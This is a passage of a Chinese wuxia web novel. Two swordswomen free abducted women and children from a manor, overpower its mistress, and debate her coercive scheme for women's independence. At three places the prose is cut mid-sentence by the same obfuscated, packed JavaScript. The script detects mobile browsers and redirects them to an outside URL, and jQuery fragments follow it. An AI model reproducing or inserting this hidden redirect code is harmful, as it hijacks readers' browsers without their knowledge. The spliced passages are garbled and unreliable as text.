紫璇暗暗伸手入袖,计划那人如发现端倪便立刻摸出匕首。乐青澜虽然弓着身子,但双手成拳,为一触即发的战局做好了准备。 突然,身边响起一个声音,对着她俩道:“你们怎么跑到这里来了,叫我好找!” 乐青澜猛地抬头,看到强娃的娘带着不满拉住她:“快跟我走,天热,姑娘们要换洗的衣服多着呢,你们可别想偷懒。” 乐青澜和紫璇尚未迈步,院中叫她们“站住”的女子已经赶到门口,强娃娘见到她便立即躬身行礼:“海棠姑娘好。” 这位叫海棠的女子认识她:“你怎么在这?” “我打发这两位新来的女使去取姑娘换洗的衣衫,哪知过了半天也不见她们回来,一时着急就跑出来找她们。”她在恭敬中带着对另外两人的嫌弃,说得极为自然。 海棠再次瞄了一眼低眉敛目的乐青澜和紫璇,问道:“你们是新来的?” 两人模仿女使行礼的姿势,小声答道:“是。” 强娃娘再次插话:“海棠姑娘,您交代给我的那件蚕丝纱衣,我会亲手打理,决不让旁人弄坏了。” 海棠的注意力被她引去,略微带着笑道:“那就辛苦你了。那件衣服是我的心头好,偏生弄上了茶渍,洗不好就毁了。你是最仔细的,一定要帮我处理好。” “姑娘放心,我在娘家学过怎么清理贵价的丝织品,这样上等的货色,怎么小心都不为过的。等我弄好了就亲自给你送去,保证跟新的一样。” 海棠满意极了:“能这样最好。”又指着还低头不语的两个“女使”,“快把人带回去吧,不是说活计多做不完吗?叫新人多干一些,你捡要紧的做就好。” 强娃娘怎么会不明白她的意思,马上露出讨好的笑容:“当然,要紧的衣服要先洗,免得姑娘们等待。”然后拉着乐青澜和紫璇一起行礼,引她们往另一个方向离开。 乐青澜和紫璇默默跟在她身后,一个字也不敢多说。直到进了一处稍显破败的院子,强娃的娘才长舒了一口气,低声问道:“你们怎么在这儿?” 乐青澜飞快地向她解释:“我们被庄主抓了投进地牢,刚刚才逃出来。” “你们惹主人生气了?” “我要救人,被她发现了。” “你们真是来救人的?” “那当然,我骗你干嘛?倒是你,昨天怎么假装不认识我,还不和我说实话。” “我……”强娃娘支吾着,“墨菊姑娘在,我怕……” “怕什么?她们拿什么威胁你?你也中毒了?” 强娃娘拿袖子蹭掉眼泪:“没有……我是怕我说了什么不该说的,她们会……会欺负我的孩子。” “欺负孩子?!”乐青澜的神色转为急迫,“她们拿孩子要挟你?” 强娃娘痛苦地点点头:“一来到这,她们就把所有的孩子带走了,说是会派专人教他们读书写字,将来可以有一技之长。可是却不准我们私下里去见孩子,否则就会罚我们,孩子们也会因此受苦。” “怎么能这样!要是真的为了你们好,干嘛要让你们母子分离?”乐青澜怒道。 强娃娘泪水涟涟,委屈不已。 “你知道孩子们被关在哪里吗?”紫璇发问。 强娃娘再次以袖拭泪,指着院中的一面墙:“就在隔壁院子。” 乐青澜的目光随着她的手看过去:“你怎么知道?” “我想孩子们想的紧,就利用每日收衣服、担水、送衣服的机会四处打听,后来在这里听到了孩子们的声音。遇到机会,我就会到这里来,试着从这些声音里分辨出我家孩子的来。” “那你找到他们了吗?”乐青澜柔声问道。 强娃娘温柔地点点头:“我做了个竹蜻蜓,放到了隔壁院子,平日里我都会做这个哄她们。我的大闺女认出来了,叫了好几声‘娘’。” “你和她说话了吗?” “我不敢,”她的泪又落了下来,“她不过喊了几声‘娘’,就被人用藤条抽了好几下,要是被人知道我来找她,估计就会没命了。所以我只敢偶尔到这里来,听一听隔壁院子里的声音,就当是还和孩子们在一处。” “你放心,我既然来了就绝不会半途而废,你和你的孩子要救,其他所有被无辜掳来的人,我们都会救出去!”乐青澜说得斩钉截铁,强娃娘慢慢收泪,充满希冀地望着她:“真的能出去吗?” “能,你相信我们。不止我们俩,还有我师父,他已经带着人来了。我和你说过,我师父很厉害的,帮了不少人,这次也一定可以。” 被她的积极情绪感染,强娃娘也露出笑容,坚定地道:“好,我信你。” “你有自己的名字吗?,老叫你‘强娃娘’,别扭死了。”乐青澜蹙着眉,但眼角却蕴藏笑意。 “我的名字……”强娃娘呆愣片刻,腼腆地笑了:“我都好久没听人叫过我的名字了……芦花儿,我在家时爹娘都这样叫我。” “芦花姐姐,那我以后就这样叫你!” “好……”听到这个告别了许久的名字,芦花竟有些莫名的激动,比想到自己和孩子有可能脱离这里还要让她欢欣一些。 紫璇绕着围墙转了一圈,突然俯下身去看脚边的一团黑色。她伸出匕首,在上面使劲一戳,那团黑色随即碎成渣土,墙脚下便露出一个只有拳头大小的洞来。紫璇将身子俯得更低,透过那个洞往里看,对上了一只清亮的眸子。 她本能地向后退开少许,马上再去看那小洞,刚才那个朝这边看的孩子已经不见了。 紫璇马上叫来芦花和乐青澜,两人一一蹲下,却没有看到一个人影。 “你确定没看错?刚才这儿有个孩子?”乐青澜仰头问道。 “绝对没错。”紫璇再次回忆起刚刚那一幕,确信那一定是一个孩子的眼睛。 “我来试试。”芦花从挂在腰间的布袋中拿出一只编好的竹蜻蜓,通过洞口扔了进去。 紧着着,便有一个女儿怯生生地叫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138412|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声“娘?” 芦花不敢相信自己的耳朵,将一只眼睛紧紧地贴住洞口,小心翼翼地叫出声:“金花儿?” 对面马上露出一只眼睛,也紧紧地贴在墙上:“娘!”说着便要哭出声来。然后便是另一个女孩的声音:“嘘!不准哭,小心引来教习姐姐!” 金花儿强行忍住眼泪和想要叫“娘”的冲动,但眼睛却没有离开那个洞。 “你……你们都好着没?”芦花心乱如麻,千言万语都化成了这个问题。 金花儿默默摇头,芦花虽然看不清楚她的动作,但仅从她的眼神也能看懂答案,眼泪再次止不住地流了下来。 金花儿的眼睛很快被另一双眼睛替代,那人离小洞稍远,能够看到墙这边有三个人。 “你们是谁?”她问道。 “这是我娘。”隔着墙可以听到金花儿的声音。 “我知道,对面还有另外两个人。” “我们是金花儿她娘的朋友,是来找她的。”乐青澜马上凑过去说道。 “为什么要找她?”那人很是警觉。 “我们得知她被人掳走,特地来救她还有她的孩子们。” “你们不是庄里的人吗?” “不是的,我们被关在地牢里,刚刚打晕了看守地牢的人,穿的是她们的衣服。”乐青澜说罢又问,“你是谁?也是被这里的人抓来的吗?” 对面没了声音。芦花急忙出声:“金花儿,你再忍一忍,这两位姐姐一定能救咱们出去!” “真的?”说话的不是金花,而是另一个女孩。 “真的!”乐青澜回答地极其肯定,“你先告诉我,你是谁?什么时候被抓来的?你那边还有多少孩子?” 女孩不语,显然是在思考能不能对她说实话,过了一会儿,终于开口道:“我叫柳梦,两年前和爹娘姐姐还有哥哥一起进来的。庄里十四岁以下的孩子都在这儿,不过他们都在外院,教习姐姐正在查功课。我和金花儿年纪大一些,被安排来扫后院。” “这个洞是怎么回事?” “是我挖的。”柳梦回答。 “有什么用吗?” 柳梦沉默了一小会儿,最后答道:“我……我姐姐会从这儿送东西给我们。” “你姐姐?”乐青澜想诱导她多说一点儿。 “嗯……我姐姐负责每日早晚送饭的差事,她会偷偷藏一些吃的,然后从这里送给我们。” “你们在这儿连饭都吃不饱吗?”乐青澜怒火上窜,都忘了压抑自己的音量。 “饭是不少的……”女孩的声音明显低落下去,“只是教习姐姐的规矩太多、又太严了,孩子们一不小心就会犯错,犯了错就会被罚饿肚子。可是这里的孩子太多了,姐姐送来的吃的根本就不够分,我想了各种办法,也只能让大家不至于饿得难受……” “怎么能这样!”乐青澜急道。 紫璇凑上来,示意她悄声些,自己向对面问道:“你姐姐每天都会来这儿吗?” “只要没有什么特殊的情况,她每天早上送完饭都会来。” 乐青澜迅速冷静下来,跟上紫璇的思路,也问了一个问题:“她都能出入什么地方?能见到庄主吗?” 102. 反攻(一) 柳梦的父亲年轻时读过几年学堂,是村里少有的能够读书写字的人。虽然后来还是以务农为生,但他极力主张做人需得知书达礼,便亲自给自家孩子们当开蒙师父。大女儿柳英二十岁,能写会算,故而被墨菊挑中,负责每日庄中吃喝的配给和账目,因此才能出入比较自由,也可以利用职权上的便利为单独被关在这里的孩子们送点吃的。 庄中作息皆有定制,各处杂役和另有值守的除外,所有人都需严格遵守。卯正起床,卯正一刻用饭,卯正二刻上工,戌正收工吃晚饭,子初熄灯。现下已过了辰时二刻*,柳英需安排人至各院收回派出去的食盒,在这之间她便可以偷偷溜到此处通过墙上小洞给墙那边的孩子们带去吃的。 今日也没有例外,只是当她像平日一样提着两个大食盒进来时,却被身穿庄中杂役服色的两个女子躲在门后偷袭,一个伸指戳中自己咽喉和胁下,手臂立刻没了力气不说,想喊叫亦是不能;另一个则在食盒落地之前飞快地将它们接住了。 “你是柳英?”紫璇问。 柳英惶恐万分,害怕自己偷拿吃食的行迹败露,她们是墨菊派来抓现行的,于是拼命摇头,头脑中飞快想着可以遮掩过去的理由。 “你别害怕,是柳梦姑娘告诉我们你会在这个时候来这儿的。”乐青澜道,“对不住,吓到你了吧。我们怕你突然叫喊引来别人,这才点了你的穴道。” 听到自己妹妹的名字,柳英更加心惊,可是看面前两个女子的说话和表情,似乎不是在审问她。 乐青澜拉着她手,将她带到墙上小洞边上。那里,芦花还在和墙那边的人说着什么。 “柳梦”,乐青澜轻轻叫了一声。 “姐姐!”柳梦出声,同时把眼睛凑了过来。 “小梦。”柳英几乎是本能地在心里叫出了这两个字,脑子还晕晕乎乎的。 “姐姐,你别急,先听我说完。这三位姐姐是来救人的,你要帮帮她们,我们就能一家团聚了!”柳梦的声音虽然很轻,但从中还是能听到满满的兴奋和希冀。 柳英一边听一边回头,挨个儿看着自己身后的三个女子,努力理解着柳梦说的话。 柳梦话音刚落,紫璇就点开柳英的穴道,她冲出而出的第一句话是“真的吗?” 像刚刚乐青澜对芦花的保证一样,她的语调依然不容置疑,柳英眼睛微微湿润,将三根指头送过去让柳梦牵住,然后说:“你们直接说吧,要我做什么?” “要救出这里被囚禁的人,第一步必须先找到噬魂散的解药。我们俩刚刚从地牢逃出,墨菊正带着人到处寻找我们,要想安稳地接近庄主殊为不易。柳梦说你能进出她的寝居,不知能不能带我们混进去?”乐青澜将计划和盘托出。 柳英在她提问的同时就已经有了答案:“这个不难。这个时候我应该去庄主那儿撤下早饭送上茶点,你们穿的也是低阶女使的服色,正好可扮作我的跟班,只要庄主寝居盘查地不严就能进去。” “太好了!”乐青澜难掩喜悦,她又对另一边的柳梦和金花儿说,“一会儿,庄子里怕是会比较混乱,你们一定要装作什么都不知道的样子,和平常一样,人家让你干什么你们就照办,千万不要露出马脚,知道了吗?” 芦花也想叮嘱自己女儿几句,乐青澜却看着她道:“你也一样,保护好自己。” 芦花答应着,墙那边传来柳梦的声音:“姐姐们放心,我在这呆的时间长,知道怎么应付教习姐姐。说不定,我也能帮得上忙。”说完她就拉着金花儿跑开了。 柳梦一向稳重,又是姊妹三个中最为聪慧的,故而柳英听了她所说的最后一句话并不怎么担心。 出发前,乐青澜将自己腕上的手绳给了柳英,告诉她一两日内必会有人接应,就以这个手绳为记认,如果她和紫璇今日不幸失败,请她务必帮忙将一切事情告知来人,让他们设法救出所有人。 ***************** 墨菊忙着找人,此刻不在庄主的寝居值守。乐青澜和紫璇将盛放着花茶和点心的托盘举得高高的,尽量低着头,跟在柳英身后,顺利地进到了内院。 一个女子等在正屋门外,见到柳英便道:“今天怎么来得这么晚?庄主今日胃口不好,你送来的早饭用的不多,就等你的茶点呢。” 柳英忙回道:“芙蓉姐姐见谅,今日配茶的是杏仁酥,第一遭做出来的上面的杏仁有些焦糊,我怕庄主责罚,赶紧让人立马重做,这才来迟了。” 芙蓉揭开碗盖瞧了一眼里头的杏仁酥,成色确实不错,没再为难她,吩咐人接过来,然后低声道:“你也知道主人规矩大,惹恼了她谁都护不住,下回可别再这样了。” 柳英谢过她,退步转身急忙往外走,再也不敢向后看一眼。乐青澜瞅准芙蓉开门的时机,一个箭步期到她身后,挥拳扫过,芙蓉和另外两个女使皆被击中。紫璇随后抢上,点中三人穴道。 三人倒地时发出了“咚咚咚”的声响,引起了内间的注意。 “芙蓉?”庄主叫道。 无人回应。 庄主又叫了一声,房中依旧死寂,她察觉不对,从床边取过自己的武器,慢慢步出内室。外面空无一人,只有芙蓉和两个女使的身体一动不动地倒卧在地。心中警铃大作,她一前一后举起双钩,全神贯注地听着周围的动静。 紫璇从梁上跳下,试图用脚去踩她的右臂。她反应神速,头不抬身不摆,仅仅将右手的钩向上一挥,就差点插中紫璇的小腿。乐青澜几乎和紫璇同时落下,同样被庄主逼得向后退开数步。 就这一下,她们便知自己轻敌了。如果不能快速制伏庄主,等庄内增援赶到,她们最多能保全自己,解药什么的根本不能想。 紫璇抽出匕首,当先扑了过去。庄主右臂招展,左半边身子依然防备着乐青澜从她后面攻来。紫璇一击不中,侧身避过递来的铁钩,蜷身滚地,去攻击她的下盘。乐青澜以屋内的大柱借力,翻身跃起,想要攻她左肩,却被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149458|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她左手挥出的铁钩划了一道,伤口不浅。不过有她分去庄主的注意力,紫璇的袭击终于得手,庄主的小腿吃了一计。 然而庄主快如鬼魅,不待紫璇的手离开她小腿三寸,铁钩已经攻到,紫璇小臂上顿时鲜血淋漓。庄主得兵刃之利,即便是乐青澜和紫璇两侧夹击都不落下风。紫璇飞速和乐青澜交换了一个眼神,一人俯身、一人跃起,仍是一上一下同时出击。 这一次紫璇更快,庄主的兵刃还没砍到乐青澜,肩膀已经被紫璇划伤。 紧着着,紫璇翻身落到乐青澜边上,将匕首交于她之后再度跃起。乐青澜继续攻向庄主下盘,紫璇则挥掌击她头肩。两人出招越来越快,庄主不免防了下面就防不住上面,或是防了上面便防不住下面,肩上、腿上多处受伤。 但她的出手也不慢,每一回总能伤到她们两个中的一个。特别是紫璇,和她拼的是掌力,几番对垒下来,已经发觉她内力深厚,根本不是自己能抗衡的人。如今还能在她的手下有出招的余地,完全是因为乐青澜在侧牵制,她不敢用全力的缘故。 院外响起脚步声,眼看着这里马上就会被人包围,紫璇只有紧咬住下唇,告诫自己千万不要急躁。 三人在屋内辗转腾挪,碰到的桌椅纷纷翻到,各色器物大多被扫到了地上,有的还被摔碎了。紫璇心念一动,继续从上倒下袭击庄主的上身,却在下落之时右脚斜出,从墙边借力,斜刺里飞出落到了屋子的另一边。 庄主挥出的手臂落空,稍稍有些怔愣,紫璇抓起外间榻上一副棋盘上的几枚棋子,用谭修明教给她的独门绝技用力掷出。棋子虽小,但劲风阵阵,庄主也不由地心生惧意,在下面对付乐青澜的手猛地停住,整个身子瞬间跳开,艰难地躲开了射来的暗器。 不等她站稳,紫璇再次打出棋子,在空中划出几道黑和白的线条。这次庄主有了预判,使双钩将棋子尽数格去,却忘记了防备下盘,被乐青澜手上的匕首深深划中脚腕,登时便有些站立不住。面门之前又有数枚瓷片飞至,她运起全力挥掌将来物隔空打落,紧接着,一只手中的铁钩被紫璇抢下,横在了她的脖颈处。乐青澜立刻在她的另一只脚腕上斩了一刀,趁她分神又夺下了另一只铁钩。 恰在此时,房门被撞开,霎时间涌进来七八个携带兵器的女子,紫璇取出针筒,开动机括,将来人一齐放倒。再来一批,她仍是如法炮制,转眼间屋中躺了二十多个女子。其中唯有墨菊身法灵活,靠着推搡离自己最近的一个人挡住银针没有中招,反而朝紫璇冲了过来。 不过她功夫有限,紫璇一步都没有挪动,甚至持铁钩的手都未曾离开庄主喉咙半分就将她踢了开去。虽然墨菊未中针晕厥,却也和其他人一样,倒在了地上。 *卯正:上午6:00 卯正一刻:上午6:15 卯正二刻:上午6:30 戌正:晚上20:00 子初:晚上23:00 辰时二刻:上午7:30 103. 反攻(一) “你输了。”紫璇看着庄主道,眼睛都没有眨一下。 庄主冷笑两声:“我输了?你们以多胜少,坏了规矩,没了廉耻。竟然还敢当着我的面说自己‘赢’了?” “你说的对,”乐青澜道,“我承认,单打独斗我们拿不下你。若是单纯比武我和紫璇自然该被你唾弃。但救人要紧,我们别无它法。还有,刚刚所说的‘输赢’并非也就比武而言。” “那是什么?” “你滥杀无辜,又为了一己私利囚禁女子,奴役乡邻,行事不仁,怨声四起,你的这副如意算盘,输了。” “一己私利!”庄主难以置信地大笑起来,“你说我做这些是为了一己私利?” “难道不是吗?”紫璇反问道。 庄主眼中射出精光:“我苦心孤诣,经营了二十年才有此成就,为了是什么,是天下女子都能摆脱仰仗男子鼻息的境地!你却说我是为了一己私利?” 她越说越激动:“你问问这里所有的人,我从中得到了什么,是钱财还是地位,她们又得到了什么?凭什么说这是我的私利?” 墨菊蜷在地上,好不容易起身,也立刻为主人辩解:“主人说的对,没有她,我们都是被人踩在脚下的丫头、赔钱货、下贱人,是庄主让我们知道,离了男人也可以活,还能活得更好!” 乐青澜眼底闪过纠结,去看紫璇,紫璇微微蹙眉,也在思考墨菊所说的话。 “不对!”乐青澜只犹豫了刚才那一瞬,马上又脱口而出,“即便你的初衷正确,可做法也错了。这世上的确对女子不公,我们的出头之路少之又少。但我希望创造的新世界,应当是每个人都可以自作主宰,既不依附于男人,也不依附于强权!” “这些被掳掠来的女子,有多少是心甘情愿在你的手下做事的?你用毒物和她们的子女家人要挟其服从于你、服从于你所谓的新秩序,难道不也是一种强迫?”紫璇也道。 “至少我不会强迫她们去给男子做生孩子的工具,没有拿她们去做男权世界的物件儿!”庄主嚷了起来。 “是,在你这里,这些女子都能活着,有吃有穿,甚至有钱拿。可是,要是这些都非她们自愿,那这个‘世外桃源’就和混沌的外间没有区别,只不过奴役她们的人从男子换成了女人,可她们不能自主,仰人鼻息的处境并没有改变。”乐青澜耐心说道。 “自主?笑话!她们配吗?除了少数几个明事理、知大局的,大多数都女子被奴役惯了,即便我的人为她们扫清了障碍,她们也不愿离开欺负自己的男人。你让她们自主,不啻于痴人说梦。” “即便如此,你也没有权力强迫她们做你认为对的事情。” “我不能强迫?那那些狗男人就可以吗?” “不,谁都不可以,她们是人,只属于她们自己。”乐青澜大声道,“你要是真心想要扶助她们,就应该让她们具备自立的心气,掌握自立的能力。” 庄主还是不服,盛怒之下挥动手臂,竟然忘了横在前面的两只铁钩。紫璇敏捷地扭住她胳膊,让她不可再动,然后喝道:“废话少说,噬魂散的解药在哪里?” “你们要救那些男人?”即使受制于人,庄主的鄙夷也扑面而来。 “男人也是人。”紫璇冷冷的回敬她。 “教训不尊重妻女的男人,可以有很多办法,但奴役不行。更何况,也不是人人都是你们口中的‘垃圾’。” “怎么不是!”庄主继续强辩,“这世上对女子的欺压每个男人都有份!” “或许你说的对。但既然如此,不也说明单凭你抓几个男人根本不可能改变这个世道,不是吗?” 乐青澜的这句话正中要害,庄主的自负裂开了一点缝隙。她努力了二十年,早已发觉自己的办法似乎难以为继。她不止一次地扪心自问,如何做才能一劳永逸地将权力从男子手中夺过来,将女子头上那座看不见大山打破击碎,却从来都没有什么好的回答。 “那怎么办?”她问道,声音比刚才低下去不少,更像是在问自己。 乐青澜、紫璇都没有接话。墨菊听得出庄主语气里的怅惘,更是默默伤心。良久,乐青澜才叹了口气道:“把解药交出来吧,放了这些人,你的酒楼、药铺本身还是能帮到很多女子的。” 庄主斜眼看着她,但眼神空洞,似乎沉浸在自己的思绪里,过了好一会儿,她猛然笑道:“不!没有解药,他们就会死。即使我改变不了这个世道,至少也能让讨厌的臭男人少上一些,岂不是也算我最后的功德?” “你!”乐青澜急得要跳脚,可庄主已然一副你能奈我何的模样。 紫璇将铁钩逼近她喉咙几分,威胁道:“你不怕死吗?” 庄主却无惧大笑:“有那么多人陪我一起死,有什么好怕的?倒是你们,不知从哪里弄来了解药,但估计也只有一天的效力。如今看着是强悍得很,但一旦到了今天晚上,想必还是会打回原型。与其担心我,不如想一想你们身上的毒可怎么办?” “你想威胁我?”紫璇道。 “不,是让你认清现实,我还远远没有输!你们一个都别想安然走出这座山庄!”庄主越说声音越大,最后几个字几乎是吼出来的。 “不过是解药而已,你的口气未免也太大了。”远处传来一个中气十足的男声,话音落下的同时,门口也有一个身影现出。 “师父!”乐青澜欣喜叫道,明显精神大振。 对方的样貌骤然落在庄主眼中,她花了好些时间——直到对方穿过地上散落的人群来到面前时——才认出了他:“骆雁声!” 听到这个名字,紫璇先是一愣,然后仔细去看来人的面容,思忖着“他比姥姥要年轻一些。” 骆雁声身后还有三人,除了一路指引的柳英之外还有两个男人,一个是韩仲昌,另一个居然是陆文渊!事事镇定的紫璇紧接着吃了第二惊,他怎么会在这里? 骆雁声同样也是刚刚认出庄主,不过并没有她那么惊讶。 “俞映华,竟然是你?”他低声道。 “好好好,没想到我死之前竟然还能再见到你!”庄主忽然兴奋不已,“哪里的风把你吹来的?” “她是我的徒弟,”骆雁声指着乐青澜,“是她通知我来的。” 听了这话,庄主竟然点了点头:“时过境迁,你我皆是快到半百的人了。也不知道淑平现在哪里?要是能邀她一聚,岂不是更有意思?” 许多年未曾听过的名字再度被人提起,骆雁声的呼吸稍稍变得急促了一些:“是啊,二十多年未见,没想到你当真实现了当日愿景,建起了这样一座女子居其首的山庄。木兰、木兰,我记得当年你最喜欢的就是花木兰的故事。” “难得你还记得这些小事。旁人都以为‘木兰’是花名,你却能一下子发觉它真正的含义。” “你和她是闺中密友,自小无话不谈,就连志向都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157465|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样的。”骆雁声的神色黯然,感怀旧事般地说了这么一句。 “志向一样又如何,”俞映华面露不屑,“她还不是不敢反抗她父亲定下的婚事,嫁去西北,从此只能被禁锢在门主夫人的位子上?哪里还有半点年少时意气风发的模样?如今江湖上提起‘天目三英’恐怕已经没几个人认识了。” 提起这件事,骆雁声唯有沉默以对。 “怎么?戳到了你的痛处?”俞映华嘲讽道,见他仍旧不回应,便继续说,“你少这幅嘴脸!淑平从没有对不起你!倒是你,狂妄自大,仗着武学上的天分总想赢过她,弄得她郁郁寡欢也就算了,还从来没有把她的处境放在心上,只想着自己要匡扶天目派、开创新武学的理想。从那时起,我就知道你们走不远。” “我没把她的处境放在心上?你为什么这么说?” 骆雁声是真心求教,但在俞映华听来却是质疑。 “女子在这世上,要想获得赞誉就必须事事完美。淑平虽有掌门之女的体面,但毕竟是女子,一样要受这些不合理的规矩束缚。即便她凡事谨慎,也还是惹来不少口舌。就连她勤学苦练,好不容易在武林中新秀突起,却也因是女非男受了不少编排,这些你不是不知道。你却嫌弃她处事瑟缩,比不上你洒脱不羁。你们男子生来便有广阔天地,再怎样跳脱和不守规矩,周围的人都只会称赞你天赋异禀不落窠臼。你二人处境本就不同,你却对她的难处视而不见,反而拿她本来就没有的去要求她。这算哪门子的爱慕相惜?要我说,你们这些男人眼中永远只有自己,根本不值得多看一眼、多费一点心思!” 俞映华说话时语速极快,无一丝犹豫,显然这些怨愤在她的心中埋藏了多年。终于有机会说出来,她本能地倾注了十足的情感,比起内容更能强烈击中骆雁声的心。 屋中又陷入沉寂,骆雁声在回忆,俞映华在审视,紫璇则在心里重重叹了一口气。 过了一会儿,骆雁声甩头打散纷乱的思绪,接过乐青澜递给他的眼神,向盯着他看的俞映华道:“叙旧的事暂且放下,先说说解药吧。” “我说过了,没有解药。大家一起死!” “你不想活,我不拦你。可你没有资格让别人陪你去死。” “有没有资格我说了算。他们没有解药,只有死路一条。” “不见得吧?”骆雁声扬起眉毛,玩味地瞧着俞映华。 俞映华眼皮猛地一跳:“你什么意思?” “被你囚禁的人需要每日服药,所需的药量着实不少。这里与世隔绝,左近也没有大的药铺,要从哪里购置炼制解药的药材呢?” 骆雁声每说一句,俞映华的脸色就难看一分,直到他说出最后一句话,她才不得不相信,这一局,自己真的输了。 “答案只有一个,解药的关键就在庄中!你知道我,熟悉药理医道,就算你的人守口如瓶宁死也不说出解药的方子也没有关系。这世上还没有我配不出的解药。” 俞映华想最后赌一把:“可是你时间不多了,明天早上他们拿不到解药,身子就会马上垮掉,那时候就是大罗金仙都救不了。你要配解药,必须得知道我的噬魂散是拿什么炼的。如果我不合作,你无从查考,如何配药?” “这个不难,噬魂散的主要成分是一种叫做‘鬼压床’的东西,骆前辈只需知道这一点,就不难从庄中找出能够克制它的药草。”紫璇一锤定音,击垮了俞映华的最后一点希望。 104. 背叛(一) 一切尘埃落定,骆雁声出指封住了俞映华周身大穴,免得她再兴事端。 但此举却被墨菊误以为是他要对主人不利,于是她大喊着“不要”从后面冲上来,直到看清骆雁声只是点穴后才瘫软下来,泪水也随之滚出。 “主人……她不是坏人,不要杀她。”墨菊低低重复着,乐青澜俯身扶她起来,同时在她耳边说道:“我知道,她的初心不坏。你对她这样在意,之前定然是受了她的好处。” “你不知道……”墨菊虚弱地摇着头,“没有主人,这里的许多姑娘,连带我在内,都会无家可归,任人揉搓,哪里会有……” “如果你们真的是为了帮天底下受苦的女子,那为什么不顾我们的意愿,非要要强迫我们?”离她不远的柳英听到了,开口发问。 墨菊噎住,耳中充斥着她的声音:“这里的女子,被迫和自己的父母子女分离,又怕一个不小心被你们被责罚,活得胆战心惊不说,就连哭泣也都得背着人。这种日子,真的是你们所说的‘好日子’吗?” 乐青澜接上她的话,也对墨菊道:“她所做之事自然不是全无价值,但是掳掠人口、强迫奴役绝对不行。那些被强行抓来的人有多可怜、那些见不到父母子女的女子有多痛苦,你管着庄子里的事,难道对此一概无知无闻吗?” 墨菊沉默了,她怎么会不知道,可是主人不喜欢听到她们的抱怨,更见不得她们哭,说这都是心智软弱不堪大用的表现…… “我们不会杀她,只是想纠正她的所为。等该放的人放了,你们大可以一一征询那些女子的意愿,如果愿意留在这里当值或是挣钱,我们肯定不会阻拦。可要是人家不愿意,你们也不要强求。” 乐青澜说完这话就放开了她,有些事她需要自己想。 骆雁声马上去庄中寻找能够解毒的药草,柳英则带着韩仲昌和陆文渊分赴各院去查看情况,说明原委。 骆雁声离开前留下了治伤的药,乐青澜和紫璇自去裹伤,墨菊也拿了一些去帮俞映华,她只是不能动,但神志是清醒的,可无论墨菊说什么,她都毫无回应。 被紫璇银针击中、当前仍旧昏迷的十来名女子刚被墨菊招呼人抬走,就看到芦花带着三个孩子跑了进来。 大女儿金花儿只有十岁,一双红扑扑的脸蛋极为讨喜,两只手分别牵着两个年纪更小的妹妹,嘱咐她们小心跨过门槛。芦花跟在后面,一脸幸福地望着三个孩子的背影。 “庄中现在怎么样了?你知道吗?”乐青澜一见芦花便问。 “放心吧!”芦花的笑容直达心底,“我们私下里传递了消息,姐妹们知道有人会来救她们,都安静地蹲在自己的住处,等你们的好消息呢!” “你们之中可有中毒的?”乐青澜又想起一事。 “也有几个,我在来的路上看见了韩相公,把这事告诉他了,他会留意询问的。” 得到满意的答复,乐青澜心中的石头终于放下,紫璇看着她紧绷的眉头慢慢舒展,也跟着露出一点儿笑意。 金花儿领着两个妹妹上前,仔细地瞧了瞧乐青澜和紫璇,然后天真地说:“你们就是刚才墙那边的姐姐?好年轻啊,我还以为……” “以为什么?”乐青澜心情大好,冲金花儿眨着眼睛。 “以为是两个很凶很老的姑娘呢!” 金花儿童言无忌,倒弄得芦花不好意思,忙用手拍了她一下,教她不可胡说。 乐青澜却觉得有趣,把金花儿拉近一些:“谁知道呢,可能再过个二三十年,我真就变成了一个很凶很老的姑娘啦。”说完还哈哈大笑。 金花儿看她笑得开心,也丢掉拘束,越发大胆提问:“刚才那么多姐姐,都是你们俩打倒的吗?” “对呀,厉不厉害?”仍是乐青澜笑道,紫璇在一旁兴味盎然地听着。 “厉害!”金花兴奋地叫道,“我也想变成厉害的人,以后就能保护妈妈还有妹妹了。”她还不知道亲父已死的事情,但是在她的印象里,爹对娘不好,是以要保护的人之中并没有包含他。 “好啊,等咱们出去了,我教你练武好不好?” “练武?‘武’是什么?”金花儿问道。 “武功、功夫,学会了它,你就可以变得强大,可以保护自己的所爱之人,你要不要学?” “要!”金花答得极为响亮,身边的两个妹妹不明就里,但因为看到姐姐开心,也学着她喊着“要!要!” 芦花瞧着,笑得合不拢嘴,同时眼泪也不受控制地落了下来。墨菊安安静静地看着这温馨一幕,若有所思,末了又去瞧俞映华,她仍旧闭目入定,似乎根本没有注意到这些。 金花儿又说起柳梦,得意洋洋地告诉大家她是如何略施小计,绊倒了教习姐姐把她绑起来,又是如何教训院中的孩子必须老老实实地待在原地,绝对不能乱跑的。 